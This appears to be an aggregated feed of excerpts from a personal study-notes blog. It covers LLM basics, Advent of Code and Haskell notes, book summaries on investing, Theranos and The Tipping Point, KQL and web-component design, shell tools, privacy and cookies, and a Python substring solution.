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Given Language Models, Why Learn About Large Language Models?

Sun, 30 Nov 2025 00:00:00 +0000

This part of seems pertinent to respond to “LLMs are just (auto-complete; Markov chains; [insert pre-existing LM-adjacent tech]) on steroids”.

Scale

LLMs are massive. From 2018 - 2022, model sizes have increased 5000x. OpenAI’s GPT model from June 2018 had 110M parameters; GPT-3 from May 2020 had 175B parameters. LLM providers no longer seem to advertise their parameter counts; GPT-4 was leaked to have 1.8T parameters.

LLMs as Standalone Systems

Unlike LMs that were used as components of larger systems, e.g., machine translation, LLMs are increasingly capable of being a standalone system. Recall that LMs are capable of conditional generation (given a prompt, generate a completion). This allows the same LLM to solve a variety of tasks by changing the prompt, e.g.,

LLM Instructions for Advent of Code

Sun, 07 Sep 2025 00:00:00 +0000

Advent of Code Challenges

Advent of Code is an annual programming event comprising of 25 challenges that are tied together by a narrative. The user’s objective is to pick a language and then learn about it by solving the programming challenges. At the end of each event, the user should have a working knowledge of the chosen language.

Given a file like advent-of-code/2024/AoC2024/06-guard-gallivant/06-guard-gallivant.md, you can find the source files by searching the containing folder, i.e., advent-of-code/2024/AoC2024/06-guard-gallivant/.

LLM Instructions for Advent of Code Using C#

Sun, 07 Sep 2025 00:00:00 +0000

The project uses modern C#. The user is an experienced programmer who has been writing C# for a year. Before that, the user mostly wrote imperative object oriented C++ code.

Reference concepts from https://learn.microsoft.com/en-us/dotnet/csharp/ where appropriate.

Beware of the user writing non idiomatic code, e.g., being too imperative where a declarative or functional programming approach might be better suited.

Writing Meta

Sun, 17 Apr 2022 00:00:00 +0000

The Importance of Clear Writing

In science, tech, or management, you influence people by writing things for them to read.

An essay helps you figure something out. Think of it as an idea graph - at each node, pick the most interesting related idea. Expressing your ideas also helps you form them. Writing them down forces you to think well.

I’ve noticed this when composing a post to ask why my code is not working. In the middle of writing and making sure that I’ve done my homework, I arrive at my answer, or an idea that I haven’t tried yet!

Learning Haskell via AoC 2021

Sat, 19 Feb 2022 00:00:00 +0000

This page contains remarks on Haskell that I encountered when working with source files that span multiple AoC 2021 problems.

and have Haskell solutions. It’ll be nice to compare how they solved the problems. I don’t want to end up perfecting the wrong approach!

Setting Up Haskell Env for AoC

To manage dependencies, Cabal and Stack are pretty popular. Stack incorporates the Cabal build system.

Introduction

Sun, 26 Sep 2021 00:00:00 +0000

Techno-utopianism claimed that the old ways of doing things are broken, and technology is the panacea: ending poverty, fixing racism, equalizing opportunity, strengthening democracy; toppling authoritarian regimes.

Disruptive, wealthy and apolitical innovators were/are the heroes, and not the tech activists, e.g. the late Aaron Swartz.

However, the conversation has shifted to techno-dystopianism: humans losing jobs, loss of privacy, radicalization, etc.

But both techno-utopianism and techno-dystopianism are too facile and simplistic outlooks. Tech creates civic and social by-products, e.g. FB’s ad targeting being used by operatives to undermine democracy.

Introduction

Sun, 29 Mar 2020 00:00:00 +0000

Investor	Key Fund/Vehicle	Period	Annualized Returns After Fees
Jim Simons	Medallion Fund	1988 – 2018 (30)	39.1%
George Soros	Quantum Fund	1969 – 2000 (31)	32.0%
Steven Cohen	SAC	1992 – 2003 (11)	30.0%
Peter Lynch	Magellan Fund	1977 – 1990 (13)	29.0%
Warren Buffett	Berkshire Hathaway	1965 – 2018 (53)	20.5%
Ray Dalio	Pure Alpha	1991 – 2018 (27)	12%

But time in the market is king - at least that’s what Malkiel taught me. Ranking the returns using Bayesian methods gives: Simmons 28.0%, Soros 26.9%, Cohen 26.2%, Lynch 26.2%, Buffet 24.6%, Dalio 24.0%. Maybe I did something wrong - Dalio shouldn’t be close to Buffet. And I thought Buffet would be higher up in the new ranking.

An Overview of the World's Current State

Sat, 14 Mar 2020 00:00:00 +0000

It’s hard to give pessimistic answers when ’s title says “Things Are Better Than You Think”…

Educational Attainment

Q1. In all low-income countries across the world today, how many girls finish primary school?

There has been lots of efforts to get girls to finish primary school, e.g. providing sanitary towels. Surely, they must be at $ \ge 40% $ completion rates.

🔲 A: 20 percent

❌ B: 40 percent

00. Prologue

Mon, 21 May 2018 00:00:00 +0000

Holmes had an all-star team: Larry Ellison’s mentor as Chair, Associate Dean of Stanford’s School of Engineering, 30 years IBM experience, 25 years pharma and biotech experience, Panasonic’s chip-making subsidiary head…

Fraud or not, this is a sick lineup! How could she mess this up?

Big Pharma spends tens of $B on clinical trials each year. Theranos would enable them to adjust dosage and save 30%. Holmes insisted on revising financial projections upward - assuming all (15+) deals came through - to $1.5b.

000. Longest Two-Character Substring

Sat, 02 Sep 2017 00:00:00 +0000

Description

Given a string, find the longest sub-string that contains, at most, two characters. /r/dailyprogrammer post

Solution

"""
Finds the longest sub-string that contains, at most, two characters.

Input:
An all lower-case string, e.g.
 abbccc
 abcabcabcabccc
 qwertyytrewq

Output:
Print the longest sub-string of the given string that contains, at most, two
unique characters.
If you find multiple sub-strings that match the description, print the last
sub-string (furthest to the right).
 bbccc
 bccc
 tyyt

"""

import sys

def getLongestSubstring(longString, n = 2):
 """
 Find the longest substring containing at most n unique characters.

 Param(s):

 longString (str)
 The string for which we're looking for a substring.

 n (int)
 The maximum number of unique characters allowed in the substring.

 """
 charIndexes = {}
 currentStart = 0
 bestStart = 0
 length = 0
 bestLength = 0
 currentStart = 0
 index = 0

 for currentChar in longString:
 print(currentChar, end = " ...\n")

 # Case 1: The character is already in the set.
 if currentChar in charIndexes.keys():
 # Note the most recent position in which the char occurs
 charIndexes[currentChar][1] = index
 length += 1
 # print("Incremented: ", charIndexes[currentChar])

 # Case 2: The character is not in the set
 else:
 numChars = len(charIndexes)

 # If necessary, make room for the new char
 if numChars == n:
 charToRemove = longString[currentStart]
 length = index - charIndexes[charToRemove][0]

 # Store the best result that we've encountered.
 if length >= bestLength:
 bestLength = length
 bestStart = currentStart

 # Start the new substring after the last occurence of the char
 # being removed.
 currentStart = charIndexes[charToRemove][1] + 1

 # Remove the old char
 charIndexes.pop(charToRemove, None)

 # Add the new character
 charIndexes[currentChar] = [index, index]

 # Store the best result that we've encountered.
 if length > bestLength:
 bestLength = length
 bestStart = currentStart

 print(charIndexes)
 index += 1

 return longString[bestStart: bestStart+bestLength+1]

def main():
 """
 Run the longest substring algorithm. Print the results to standard output.

 """
 count = 0
 successful = 0

 with open(sys.argv[1], 'r') as fileToRead:
 for line in fileToRead:
 items = line.split()
 substring = getLongestSubstring(items[0], n = 2)
 if substring == items[1]:
 successful += 1
 else:
 pass
 #print('{:20}'.format(items[0]), "Got:", '{:15}'.format(substring), "\tExpected:", items[1])
 count += 1
 break

 print("\n_________________________\n")
 print(successful, "/", count, "tests passed!")
 print("\n_________________________\n")

if __name__ == "__main__":
 main()

I wrote this solution 2 years ago. What’s changed since then?

0. Introduction

Fri, 08 Jul 2016 00:00:00 +0000

Introduction

The Tipping Point is the biography of how little things had big effects.

From 1992 to 1997, murder rates dropped 64.3% to 770 and total crimes fell by $\approx$ 50% to 355,893.

Geometric progressions are non-intuitive, e.g. if given a large paper and asked to fold it 50x, the stack’s height will be $\approx$ the distance to the sun.

This is a popular illustration. The standard paper’s thickness, $h_0$, is $0.1$ milllimeters, and the distance to the sun, $d_{sun}$, is $149.6$ million kilometers. Solving for $n$ in $ h_{0} \cdot 2^n = d_{sun} $ gives $n = 50.41 $.

00. An Introduction to Writing

Mon, 23 May 2016 00:00:00 +0000

You need to develop a broad spectrum of style and then be able to move from one end of the spectrum to the other as occasion demands.
You’ll develop a basic style but inability to diversify is being like a baller with a drive but no jump shot.
Questions to ask: What am I writing about? Who will read what I’ve written? Why did I write it?

I’m writing about topics that I want to know more about.
No one might ever read. Nonetheless, I’ll put it on the blog to make me more thorough.
I write in order to form coherent thoughts and opinions.

Complement the techniques with a serious and workable writing program.
Learn to read with an eye to style. Copy the passage out, then write a structurally similar version on a different topic.

I should do more of this. Collections on Edge? OneNote Snippet on Mac?

Rationality: From AI to Zombies [Yudkowsky, Eliezer]

Sun, 01 Feb 2015 00:00:00 +0000

KQL: Overview

Sat, 24 May 2025 00:00:00 +0000

A Kusto query is a read-only request that processes data that is organized into a hierarchy of databases, tables, and columns, similar to SQL.

Query statements are separated by a ;, and only affect the query at hand. There are 3 kinds of user query statements: tabular expression statements, let statements, and set statements.

The most common kind is the tabular expression statement where the input and the output consist of tables. Tabular statements contain zero or more operators that are sequenced by a | (pipe). Each time the data passes through another operator, it’s filtered, rearranged, or summarized. Because the piping is sequential, the query operator order can affect both results and performance.

Wiki Page

Thu, 18 Apr 2024 00:00:00 +0000

Overview

Starting with this page because it’s mostly static. The body is basically:

<div class="topnav">...</div>
<div id="main_div">
 <div id="study_buddy_details">
 <div class="details_section">...</div>
 <div class="details_section">...</div>
 ...
 <div class="details_section">...</div>
 </div>
</div>
<footer>...</footer>

The corresponding web components would be something along the lines of:

<nav-bar></nav-bar>
<wiki-container>
 {Table of Contents}
 <wiki-section></wiki-section>
 <wiki-section></wiki-section>
</wiki-container>

`<wiki-container>`

Maybe <wiki-section> can be a template owned by <wiki-container>? Nah, there are benefits to a separate <wiki-section> component, e.g., each component can define its title for use in the ToC. That way, new <wiki-section>s can be added with minimal changes to <wiki-container>.

Introduction to LLMs

Thu, 14 Dec 2023 00:00:00 +0000

What is a Language Model?

A language model (LM) is a probability distribution over sequences of tokens. Suppose we have a vocabulary $\mathcal{V}$ of a set of tokens, then a language model $p$ assigns each sequence of tokens $x_1, …, x_L \in \mathcal{V} $ a probability.

To assign meaningful probabilities to all sequences requires syntactic knowledge and world knowledge. Given $ \mathcal{V} = \{ \text{ate}, \text{ball}, \text{cheese}, \text{mouse}, \text{the} \} $:

Relational Model Versus Document Model

Sun, 28 May 2023 00:00:00 +0000

A relational data model uses tables that consist of rows and columns. A row can be uniquely identified by a table + ID combination. A column entry can reference another row in another table through a shared key. One goal is to avoid duplicating data. However, to answer a real-world query, we end up paying th cost by joining results from multiple tables. That said, with proper indexing and prior research, combining results is pretty fast.

Intro to Design Patterns

Thu, 30 Mar 2023 00:00:00 +0000

What Are Design Patterns?

Arriving at designs that are specific to the problem at hand but general enough to address future problems and requirements is hard. New designers tend to be overwhelmed by the options available. Expert designers do not solve every problem from first principles; they reuse design patterns.

I’ve also encountered the “you aren’t gonna need it” (YAGNI) school of thought that aims to minimize writing code that anticipates too far into the future, as such guesses usually don’t pan out. Design patterns seem like they exist somewhere between designing for now, and designing for a possible future. A design pattern solves a specific problem being encountered now. And even within a design pattern, one could still adhere to YAGNI, and add pieces when needed. When it does come to the point where the design needs more features, at least the design pattern provides a mental framework that is consistent with the initial design of the system.

General Tips on Performance and Optimization

Tue, 26 Jul 2022 00:00:00 +0000

Trying to optimize may lead to errors and high-maintenance/change-resistant code. If there’s no need to optimize, let the code be.

Only optimize performance-critical parts of a program. If your program spends 4% of its processing time doing computation A, and 40% of its time doing computation B, a 50% improvement on A is only as impactful as a 5% improvement on B.

Complicated and/or low-level code is not necessarily faster than simple code. Optimizers sometimes do marvels with simple and/or high-level code.

The Writing Process

Sun, 17 Apr 2022 00:00:00 +0000

Planning: Deciding What and How to Write

If you can’t envision the audience, think, “If someone had needed to give you this info 6 months ago, how should they have done it?”

Each section (and sub-section, recursively) should have its purpose.

How is the purpose defined? Maybe each question should be an answer to an implicit question.

If stuck on ordering, first write down ideas in random order, and then sort them. Sections need not be planned linearly. For example, the introduction can be last after knowing what it’ll introduce.

AoC 2021 Day 01: Sonar Sweep

Fri, 18 Feb 2022 00:00:00 +0000

Day 1 - Advent of Code 2021: Sonar Sweep. Eric Wastl. adventofcode.com . Accessed Feb 18, 2022.

Part One

As the submarine drops below the surface of the ocean, it automatically performs a sonar sweep of the nearby sea floor. On a small screen, the sonar weep report (your puzzle input) appears: each line is a measurement of the sea floor depth as the sweep looks further and further away from the submarine.

01. The Case for the Scout Mindset

Fri, 17 Dec 2021 00:00:00 +0000

Two Types of Thinking

Soldier Mindset

Reasoning is like defensive combat. Finding out you’re wrong means suffering a defeat. Seeks out evidence to fortify and defend your beliefs.

Directionally motivated reasoning. When we want something to be true, we ask, “Can I believe this?” When we don’t want something to be true, we ask, “Must I believe this?”

Scout Mindset

Reasoning is like mapmaking. Finding out you’re wrong means revising your map. Seeks out evidence that will make your map more accurate.

Brandolini's Bullshit Asymmetry Principle

Sun, 11 Oct 2020 00:00:00 +0000

The Principle

Brandolini’s Bullshit Asymmetry Principle: The amount of energy needed to refute bullshit is an order of magnitude bigger than to produce it.

In Essence of Bullshit , Frankfurt posits that the essence of bullshit is lack of concern for the truth, which may explain why bullshit is easier to produce.

Jonathan Swift: Falsehood flies, and the Truth comes limping after it; so that when Men come to be undeceiv’d, it is too late; the Jest is over, and the Tale has had its Effect…

Similarity Measures

Sat, 10 Oct 2020 00:00:00 +0000

To classify something, find things that are similar and label it with the same class as the most similar thing.

The feature space is $N-d$, where $N$ is the number of features. Each instance is mapped to a point. The descriptive features become the axes.

The Similarity Metric

Mathematically, it must conform to these 4 criteria:

Non-negativity: $f(a, b) \ge 0$
Identity of Indiscernables: $ f(a, b) = 0 \iff a = b $
Symmetry: $ f(a, b) = f(b, a) $
Subaddivity (Triangular inequality): $ f(a, b) \le f(a, c) + f(c, b) $

Why are non-negativity and triangular inequality important? It seems that we should think of the similarity metric as a measure of “distance”. Distance between two instances obeys the non-negativity & triangular inequality conditions.

Similarity Measures

Sat, 10 Oct 2020 00:00:00 +0000

To classify something, find things that are similar and label it with the same class as the most similar thing.

The feature space is $N-d$, where $N$ is the number of features. Each instance is mapped to a point. The descriptive features become the axes.

The Similarity Metric

Mathematically, it must conform to these 4 criteria:

Non-negative: $f(a, b) \ge 0$
Identity: $ f(a, b) = 0 \iff a = b $
Symmetry: $ f(a, b) = f(b, a) $
Triangular inequality: $ f(a, b) \le f(a, c) + f(c, b) $

01: Exceptional, Maybe

Sun, 29 Mar 2020 00:00:00 +0000

Mum: Tiger-Mum tendencies, smart, gullible. Dad: non-academic, vocational.

Young Jimmy independently arrived at Zeno’s Paradox, and concluded that the family car should never need gas.

Reminds me of an anecdote a friend told me about intern interviews for one of the big banks. Something like, if you keep moving half the distance, how many moves do you need to make in order to touch some object? The expected answer was impossible, but I didn’t buy it. Zeno was being taken out of context. Touching something doesn’t mean zero distance between your hand and the thing. Close enough to get the touch sensation fired up is all we need. Unless we’re talking nuclear reactors, get that Zeno logic outta here.

Prologue

Sun, 29 Mar 2020 00:00:00 +0000

Fall 1990. Simons had spent 12 years searching for a successful investing formula. In 1989, his net returns were -4.0%. In 1988, he had netted 9.0%. In 1990, he netted 55.0% (77.8% before fees).

With Elywn Berlekamp, game theorist professor at UCB, Simons built a model for selecting idea trades based on data.

Berlekamp knew their approach was alchemic - no cash flows, interest rate forecasts, product research. Some of the trade recommendations didn’t make sense.

Thinking About Data Systems

Sun, 22 Mar 2020 00:00:00 +0000

The access patterns for a data system (e.g. database, cache, etc.) motivate different implementations, and thus performance characteristics.

Because many applications have a wide range of requirements, single tools no longer meet all of the data processing and storage needs. It’s up to the application to stitch together different tools.

Despite the behind-the-scenes stitching, the data system may provide certain guarantees, e.g. the cache will be correctly invalidated.

The Missing Semester of your CS Education [MIT]

Sun, 09 Feb 2020 00:00:00 +0000

01. The Shell

Thu, 06 Feb 2020 00:00:00 +0000

Topic 1: The Shell. missing.csail.mit.edu .

What is the Shell?

At their very core, shells are all roughly the same: they allow you to run programs, give them input, and inspect their output in a semi-structured way.

Potpourri of Shell Utilities and Programs

We can find out which file is executed for a given program name using the which program, e.g. $ which python gives me /Users/dchege711/anaconda3/bin/python

01. What is Mathematics About?

Fri, 13 Dec 2019 00:00:00 +0000

Classifying mathematics by its subject matter may be misleading because the kinds of questions being asked may be the same, despite different subject matter.

Does it then imply that questions in math can be approached through any technique, but some techniques are simply more efficient than others?

Nonetheless, classifying by subject matter, we crudely have algebra, geometry and analysis.

Algebra vs. Geometry

It’s insufficient to claim that algebra contains symbols, while arithmetic contains numbers. In advanced mathematics, numbers rarely appear without letters.

The Man Who Solved The Market [Zuckerman, Gregory]

Tue, 05 Nov 2019 00:00:00 +0000

Calling Bullshit [INFO 270]

Sun, 01 Sep 2019 00:00:00 +0000

01. Firm Foundations and Castles in the Air

Sat, 01 Jun 2019 00:00:00 +0000

Random walk: future steps or directions cannot be predicted on the basis of past history. Thus, short-run changes in stock prices are unpredictable.

Investing as a Way of Life Today

Difference between speculations and investments: time period and predictability of the return.

To stay even, your returns must match inflation (averaged 4% from 1962 to 2018).

With regard to beating inflation, that implies all the money that’s in people’s bank accounts is depreciating, as opposed to maintaining value. Consequently, money in the bank should be for short-term use - an emergency fund and that’s it(?)

Motivation for Differential Privacy in Datasets

Mon, 25 Mar 2019 00:00:00 +0000

The goal is to make large datasets safe, i.e. no harm to you from having your data included.

Sanitize and Transfer Model

Remove all PII, _e.g. name, SSN, mobile number, etc, before releasing the dataset.

However, the list of PII is not necessarily complete. Furthermore, combinations of seemingly non-PII data can be jointly identifying.

Using an auxilliary dataset is a common re-identification method, e.g. Narayanan and Shmatikov [2010] combined IMDB ratings and comments to deanonymize a Netflix dataset.

Information and Technology Policy [WWS 351]

Mon, 04 Feb 2019 00:00:00 +0000

Privacy in CS and in the Law

Tue, 22 Jan 2019 00:00:00 +0000

Incomplete List of Information Privacy Properties

Control/consent, e.g. Cambridge Analytica exfiltrating FB users’ data

Discussion on Cambridge Analytica

Anonymity, e.g. Snowden leaking NSA docs without revealing his identity
Limits on data collection, e.g. laws restricting government surveillance
Limits on data use, e.g. US Genetic Information Nondiscrimination Act of 2008

Under GINA, health insurers must not use genetic information of the clients (or clients family) to inform their policy. The military can though, and other insurance like long-term care, life and disability are exempt. Employers (except the military) are prohibited from making decisions based on genetic information. As of 2020, in Florida, long-term-care, life and disability insurers are no longer exempt.

Web Applications 101

Wed, 21 Nov 2018 00:00:00 +0000

How does a page embed content from other domains?

Method 1: Loading a third party script that modifies the page.

<html>
 <!-- Page Content -->
 <div id="widget"></div>
 <script src="https://third-party.com/widget.js"></script>
</html>

Method 2: Loading a third party resource in an iframe.

<html>
 <!-- Page Content -->
 <iframe src="https://third-party.com/widget.js"></iframe>
</html>

How do you stay logged in w/o re-entering password?

HTTP cookies!

Alice’s browser sends a GET request to http://www.example.com/.
http://www.example.com responds with a Set-Cookie instruction containing a token representing the logged in state, e.g. session-id=....
Whenever Alice visits a page at www.example.com, the browser sends the session-id cookie with the request.

How does DoubleClick track users from site to site?

Third-party cookies

Information Security [COS 432]

Wed, 12 Sep 2018 00:00:00 +0000

01. A Purposeful Life

Mon, 21 May 2018 00:00:00 +0000

Holmes wanted to be a billionaire since childhood. Her parents were from wealth, with medical and military folk. Holmes attended Houston’s most prestigious private school. She spoke her way into Stanford’s Mandarin program, while still in high school. Parents insisted on living a purposeful life.

Worked in lab during school year. Freshman internship at Genome Institute of Singapore: nasal swabs and syringes. There had to be a better way.

Ah, the transformative experience abroad.

Bad Blood [John Carreyrou]

Mon, 21 May 2018 00:00:00 +0000

ML Crash Course [dev@google]

Wed, 28 Feb 2018 00:00:00 +0000

Examples of Influential Power

Mon, 13 Nov 2017 00:00:00 +0000

Night Ride - April 18, 1775

Paul Revere and William Dawes.

Revere alerted influential militia leaders on his ride to Lexington.

Led to American forces winning the first battle of the Revolutionary War.

Malcolm Gladwel describes Paul Revere as a “Connector” in The Tipping Point

Medici Family in Renaissance Florence

15 prominent families

Medici had 50% higher degree than Strozzi and Guadagni.

But the Medicis influential power was much greater than explained by the 50%.

Bernoulli Processes

Mon, 02 Oct 2017 00:00:00 +0000

Bernoulli Process

A Bernoulli Process is a sequence of independent ${0, 1}$ - valued random variables $X_1, X_2, X_3, …$, e.g. $0, 0, 1, 0, 1, 1$

A Bernoulli Process does not mandate that the probability distributions of the $X_i$ be identical. That is up to the model that we choose. For instance, the Binomial Random Variable assumes $\mathbb{P}\{X_i = 1\} = p \ \ \forall i$

Suppose you flip a coin repeatedly, and record $0$ for tails and $1$ for heads.

The Binomial Random Variable

Mon, 02 Oct 2017 00:00:00 +0000

$X$ is a binomial random variable if it takes the values $0, 1, 2, …, n$ and

$$ \mathbb{P}\{X = k\} = { n \choose k } \cdot p^k \cdot (1 - p)^{n-k} $$

Sanity Check: Do the probabilities sum to 1?

$$ \sum_{k=0}^{n} \mathbb{P}\{X = k\} = \sum_{k=0}^{n} { n \choose k } p^k (1 - p)^{n-k} = \left( p + (1 - p) \right)^n = 1 $$

I totally didn’t understand how we got to $\left( p + (1 - p) \right)^n$. In my notes, I simply noted “Calculus Theorem” and that was it. ლ(ಠ_ಠ ლ)

Machine Learning and Predictive Analytics [ELE 364]

Thu, 14 Sep 2017 00:00:00 +0000

Designing Data-Intensive Applications [Kleppmann, Martin]

Thu, 16 Mar 2017 00:00:00 +0000

Informal Fallacies

Tue, 06 Sep 2016 00:00:00 +0000

Ambiguity

Equivocation

How can you be against faith when you take leaps of faith all the time: making investments, trusting friends, and even getting engaged?

No True Scotsman

“But John is a programmer, and he is not socially awkward at all.” Yes, but John isn’t a true programmer.

Causal

Not a Cause for a Cause

The hacker took down the railway company’s website, and when I checked the train schedule, what do you know, they were all delayed!

Informal Fallacies

Tue, 06 Sep 2016 00:00:00 +0000

Ambiguity

Equivocation

How can you be against faith when you take leaps of faith all the time: making investments, trusting friends, and even getting engaged?

No True Scotsman

“But John is a programmer, and he is not socially awkward at all.” Yes, but John isn’t a true programmer.

Causal

Not a Cause for a Cause

The hacker took down the railway company’s website, and when I checked the train schedule, what do you know, they were all delayed!

1. Connectors

Fri, 08 Jul 2016 00:00:00 +0000

The Midnight Ride

Afternoon of April 18, 1775: Paul Revere, a silversmith, got word of British planning to raise hell the next day.

Revere goes out informing people. Churchbells and drums. Those informed by Revere send out riders of their own.

In Concord, the colonial militia soundly beat the British, kicking off the American Revolution.

Wiliam Dawes also had a ride. But the local militia leaders weren’t alerted. Few people came out to fight the British.

1. The 3 Rules of Epidemics

Fri, 08 Jul 2016 00:00:00 +0000

The Law of the Few

From 1995 to 1996, the # of children born in Baltimore with syphillis increased 500%. CDC blamed it on cocaine and reduction in clinics.

In 100k+ Colorado Springs town, the gonorrhoea epidemic tipped because of the activities of 168 people living in 4 small neighbourhoods, frequenting the same 6 bars.

Gaëtan Dugas, an Air-Canada flight attendant, is [mis?]regarded as “Patient Zero” for AIDS in the US. It’s claimed he had $\approx$ 2,500 sexual partners over North America, and linked to 40 of the earliest cases of AIDS in CA and NY.

01. Umberto Eco's Antilibrary

Fri, 10 Jun 2016 00:00:00 +0000

The problem of induction: a turkey cannot possibly predict what happens on the afternoon before Thanksgiving.

But if we observe all turkeys in the US, won’t we notice that they’re more likely to die right before Thanksgiving? Zooming out to the bigger picture invalidates Taleb’s point.

Statements presented as science may not be as rigorous as they seem. Finding confirmation is easy.

We are suckers for narratives. Hindsight attributes causality where none was apparent, e.g. the series of events that led to WWII. However, negative confirmation from history is invaluable.

01. Invention

Mon, 23 May 2016 00:00:00 +0000

Why Invention?

Writing involves a great deal of personal ingenuity. You must see the world clearly and participate in it imaginatively.

Observing

Only noticing things that most affect you leads to thin development, sketchy generalizations and excessive subjectivity.

Expand your perceptual vocabulary:

Can “green” apply to the sky? On many late afternoons, the whole Western horizon is a band of vibrating green where the yellow of the sun blends with the blue of the evening.

Overly Convenient Excuses

Sun, 01 Feb 2015 00:00:00 +0000

The Proper Use of Humility

Confessing your fallibility but doing nothing about it braggery, not humility. Designing fail-safe machinery is good humility. Dismissing evidence for evolution because we can’t really know for sure that evolution is correct is misplaced humility.

The Third Alternative

Sometimes we justify questionable policy by claiming its absence is undesirable, e.g. believing in Santa makes children behave nicely, and therefore Santa-ism is the best of all possible alternatives.

An Illustrated Book of Bad Arguments [Ali Almossawi]

Thu, 05 Dec 2013 00:00:00 +0000

The Tipping Point [Malcolm Gladwell]

Wed, 01 Mar 2000 00:00:00 +0000

01. The Tar Pit

Tue, 01 Oct 1974 00:00:00 +0000

The fiercer the struggle, the more entangling the tar, and no beast is so strong or so skillful but that he ultimately sinks.

The Programming Systems Product

How do 2 programmers in a remodeled garage build an important program that surpasses the best efforts of large teams?

A Program

Garage duos typically build a program: complete in itself, ready to be run by the author on the system on which it was developed.

Mythical Man Month [Brooks, Jr., Frederick P]

Tue, 01 Oct 1974 00:00:00 +0000

KQL: Common Operators

Sat, 24 May 2025 00:00:00 +0000

contains the database referenced in this document.

Count rows

How many storm records are there in the table?

Count
59066

StormEvents
| count

count returns a table with a single column and a single row containing the count of the remaining rows. The output is not a scalar value.

See a sample of data

Sample N rows from the StormEvents table.

StartTime	…	State	EventType	…
2007-09-18T20:00:00.000Z	…	FLORIDA	Heavy Rain	…
2007-09-29T08:11:00.000Z	…	ATLANTIC SOUTH	Waterspout	…

StormEvents
| take 2

App Layout

Fri, 19 Apr 2024 00:00:00 +0000

Is there a use-case for the container that lays out the various app elements? When considering a <nav-bar> , the conclusion was that a web component wasn’t necessary.

Possible Organization

The high-level picture is:

<body>
 <nav>
 <div id="topnav-banner">...</div>
 <ul id="topnav-items">...</ul>
 </nav>
 <div id="main_div">...</div>
 <footer>...</footer>
</body>

We should move #topnav-banner out of the <nav> so that we can potentially apply lateral spacing to #topnav-items and #main_div without it applying to #topnav-banner.

Query Languages for Data

Mon, 29 May 2023 00:00:00 +0000

Query Languages for Data

If you have a list of animal species and you want to return only the sharks in the list, a relational algebra expression would be $ \text{sharks} = \sigma_{\text{family = “Sharks”}}(\text{animals}) $. SQL queries follow the structure of relational algebra closely:

SELECT * FROM animals WHERE family = 'Sharks';

… while an imperative query would be:

function getSharks() {
 let sharks = [];
 for (let i = 0; i < animals.length; i++) {
 if (animals[i].family === "Sharks") {
 sharks.push(animals[i]);
 }
 }
 return sharks;
}

To be fair though, JS’s Array.prototype.filter supports more succinct code:

AoC 2021 Day 02: Dive!

Sat, 19 Feb 2022 00:00:00 +0000

Day 2 - Advent of Code 2021. Eric Wastl. adventofcode.com . Accessed Feb 19, 2022.

Problem Statement

Part One

Now, you need to figure out how to pilot this thing.

It seems like the submarine can take a series of commands like forward 1, down 2, or up 3:

forward X increases the horizontal position by X units.
down X increases the depth by X units.
up X decreases the depth by X units.

Can’t submarines move backwards? Why is there no backward X?

02. Developing Self-Awareness

Tue, 28 Dec 2021 00:00:00 +0000

Signs of a Scout

These Don’t Make You a Scout

Feeling objective. The more objective you feel, the more you trust your own intuitions and opinions as accurate representations of reality, and the less inclined you are to question them.

Being smart and knowledgeable. It’s not a case of “if people were smarter and well-informed, they’d realize their errors”. For example, found that polarization (on political fronts) on anthropogenic climate change increases as scientific intelligence increases. found similar patterns: political & religious polarization on stem cell research, the Big Bang, human evolution; political polarization on climate change; little evidence of political or religious polarization on nanotechnology and genetically modified foods.

02. The Language and Grammar of Mathematics

Sat, 10 Oct 2020 00:00:00 +0000

Motivation for Mathematical Grammar

Statements in advanced mathematics have a complicated structure that is easier to understand if one is familiar with mathematical grammar.

Unlike English grammar that can be ambiguous, mathematical grammar is precise.

… and then we have statistics.

4 Basic Concepts: Sets, Functions, Relations and Binary Operations

The word “is” can have multiple interpretations:

5 is the square root of 25
5 is less than 10
5 is a prime number

Mathematically, we can have the following precise statements:

The Nearest Neighbor Algorithm

Sat, 10 Oct 2020 00:00:00 +0000

The Algorithm

Iterate across the instances in memory. Find the instance that has the shortest distance from the query.

Doing this naively is computationally expensive. That’s why there are faster lookup methods, e.g. k-d trees.

Make a prediction for the query equal to the value of the target feature of the nearest neighbor

**The Voronoi Tessellation** is a partition of the feature space such that each partition is the 'adoptive-radius' of the instance that 'owns' that partition. The **Decision Boundary** is formed by aggregating neighboring Voronoi regions that belong to the same target level. In a \$k-NN\$ setting, this is equivalent to setting \$k=1\$

Remarks on the Algorithm

Updating the model is quite cheap. Adding an instance updates the Voronoi tessellation and therefore the decision boundary.

The Nearest Neighbor Algorithm

Sat, 10 Oct 2020 00:00:00 +0000

The Algorithm

Iterate across the instances in memory. Find the instance that has the shortest distance from the query.

Doing this naively is computationally expensive. That’s why there are faster lookup methods, e.g. k-d trees.

Make a prediction for the query equal to the value of the target feature of the nearest neighbor

Remarks on the Algorithm

Updating the model is quite cheap. Adding an instance updates the Voronoi tessellation and therefore the decision boundary.

Reliability

Sun, 22 Mar 2020 00:00:00 +0000

A fault is when a component deviates from its spec, while a failure is when the system no longer provides the required service to the user.

Better to design fault-tolerant systems because we can’t reduce the probability of a fault to zero.

In fault-tolerant systems, one should trigger faults deliberately in order to test the tolerance, e.g. randomly killing individual processes.

However, not all things can be tolerated. For instance, if an attacker gains access to sensitive data, then the damage can’t be undone. In that case, aim for prevention.

02. Shell Tools

Tue, 11 Feb 2020 00:00:00 +0000

Topic 2: Shell Tools. missing.csail.mit.edu .

Unlike other scripting programming languages, shell scripting is optimized for shell related tasks, e.g. reading from STDIN and saving results into files are primitives.

At the cost of being painful on the eyes. Python scripts are way more readable (and cross-platform) than shell scripts.

Pesky Whitespace

foo = bar
# Doesn't work because it's interpreted as calling the foo program with the args '=' and 'bar'
foo=bar # Now that works!

Literal Strings vs. Substitutable Strings

Single quotes are literal strings, but double quotes allow variable substitution.

02. The Madness of the Crowds

Sat, 01 Jun 2019 00:00:00 +0000

The Tulip Bulb Craze

Virus causes colored stripes in tulip petals. The Dutch valued such bulbs. Prices rose (just when one thought they couldn’t go higher). Let the tulipmania begin.

Note: And that’s where FOMO comes in. You can’t argue with the results. You just want to dip your toes and get out. I watched Bitcoin keep climbing, until I got into the game with $50…

Tulip bulbs options. 20 for a bulb currently worth 100. If the price moved to 200, the option holder exercises his right: buys at 100 and simultaneously sells at 200, making a profit of 80.

02. The Madness of the Crowds

Sat, 01 Jun 2019 00:00:00 +0000

The Tulip Bulb Craze

Virus causes colored stripes in tulip petals. The Dutch valued such bulbs. Prices rose (just when one thought they couldn’t go higher). Let the tulipmania begin.

